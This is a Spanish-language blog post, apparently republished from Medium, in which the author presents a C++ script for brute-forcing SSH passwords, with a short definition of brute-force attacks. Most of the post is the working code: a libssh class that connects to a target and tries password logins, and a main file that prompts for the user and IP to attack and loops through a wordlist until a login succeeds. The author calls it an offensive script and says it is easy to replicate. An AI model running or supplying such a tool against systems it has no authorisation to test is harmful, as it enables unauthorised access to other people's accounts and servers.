Fuerza bruta SSH con C++
Introducción
Bienvenidos a mi nuevo artículo, hoy les mostraré mi script en C++ para realizar ataques SSH de fuerza bruta.
¿Qué es la fuerza bruta?
Información por:
Un ataque de fuerza bruta es un método de piratería que utiliza prueba y error para descifrar contraseñas, credenciales de inicio de sesión y claves de cifrado. Es una táctica simple pero confiable para obtener acceso no autorizado a cuentas individuales y sistemas y redes de organizaciones. El hacker prueba múltiples nombres de usuario y contraseñas, a menudo usando una computadora para probar una amplia gama de combinaciones, hasta que encuentra la información de inicio de sesión correcta.
El nombre "fuerza bruta" proviene de los atacantes que utilizan intentos excesivamente contundentes para obtener acceso a las cuentas de los usuarios. A pesar de ser un antiguo método de ciberataque, los ataques de fuerza bruta se prueban y prueban y siguen siendo una táctica popular entre los piratas informáticos.
En este artículo publicado anteriormente, proporcioné una breve descripción general de Hydra y cómo funciona para la fuerza bruta de SSH:
Hidra — Fuerza bruta
Código
Este es un buen momento para ver el código que usé para atacar servidores SSH con C++. A continuación se muestra un fragmento del archivo de clase para este PoC:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
El archivo principal solicita información sobre el usuario y la dirección IP para atacar, y luego ejecuta otras funciones.
Las otras funciones están en el archivo de clase SSHHost y tiene dos atributos, usuario e IP.
Luego, tenga un método constructor, los métodos SSHConnection y SSHAuth . SSHConnection devuelve una sesión que usó SSHAuth.
PoC
Ejecute el script y responda a las indicaciones del usuario en consecuencia:
Los pasos incluidos con este método de ataque son muy fáciles de replicar y es un método de ataque válido en el mundo cibernético moderno.
El resultado anterior muestra una contraseña descubierta, lo que indica un ataque de fuerza bruta exitoso...
Conclusiones
Este es uno de mis primeros scripts ofensivos usando Clases y Objetos. Gracias por leer mi artículo. ¡Espero que hayas disfrutado el contenido!
S12.

![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































